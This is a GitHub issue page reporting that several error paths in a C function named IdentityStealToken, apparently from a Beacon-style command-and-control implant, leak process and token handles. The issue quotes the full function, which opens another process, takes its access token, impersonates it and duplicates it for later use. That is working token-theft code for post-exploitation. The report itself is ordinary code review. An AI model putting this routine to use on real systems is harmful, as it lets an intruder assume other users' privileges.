Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Several error paths in IdentityStealToken leak tokens #2

Open
JohnLaTwC opened this issue Jan 4, 2025 · 0 comments
Open

Several error paths in IdentityStealToken leak tokens #2

JohnLaTwC opened this issue Jan 4, 2025 · 0 comments

Comments

@JohnLaTwC
Copy link

void IdentityStealToken(char* buffer, int length)
{
	int pid;

	if (length != sizeof(pid))
		return;

	datap parser;
	BeaconDataParse(&parser, buffer, length);
	pid = BeaconDataInt(&parser);

	HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

	if (!hProcess)
	{
		int lastError = GetLastError();
		LERROR("Could not open process %d: %s", pid, LAST_ERROR_STR(lastError));
		BeaconErrorDD(ERROR_OPEN_PROCESS_FAILED, pid, lastError);
		return;
	}

	HANDLE hToken;
	if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))
	{
		int lastError = GetLastError();
		LERROR("Could not open process token: %d (%s)", pid, LAST_ERROR_STR(lastError));
		BeaconErrorDD(ERROR_OPEN_PROCESS_TOKEN_FAILED, pid, lastError);		
!	return;   <<  leaks hProcess
	}

	BeaconRevertToken();

	if (!ImpersonateLoggedOnUser(hToken))
	{
		int lastError = GetLastError();
		LERROR("Failed to impersonate token from %d (%s)", pid, LAST_ERROR_STR(lastError));
		BeaconErrorDD(ERROR_IMPERSONATE_STEAL_TOKEN_FAILED, pid, lastError);
!	return;   <<  leaks hProcess, hToken
	}

	if(!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gIdentityToken))
	{
		int lastError = GetLastError();
		LERROR("Failed to duplicate token from %d (%s)", pid, LAST_ERROR_STR(lastError));
		BeaconErrorDD(ERROR_DUPLICATE_TOKEN_FAILED, pid, lastError);
!	return;   <<  leaks hProcess, hToken
	}

	if (!ImpersonateLoggedOnUser(gIdentityToken))
	{
		int lastError = GetLastError();
		LERROR("Failed to impersonate logged on user %d (%s)", pid, LAST_ERROR_STR(lastError));
		BeaconErrorDD(ERROR_IMPERSONATE_LOGGED_ON_USER_FAILED, pid, lastError);
!	return;   <<  leaks hProcess, hToken
	}

	CloseHandle(hProcess);

	if (hToken)
		CloseHandle(hToken);

	char accountName[0x200];
	if (IdentityGetUserInfo(gIdentityToken, accountName, sizeof(accountName)))
	{
		BeaconOutput(CALLBACK_TOKEN_STOLEN, accountName, strlen(accountName));
	}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant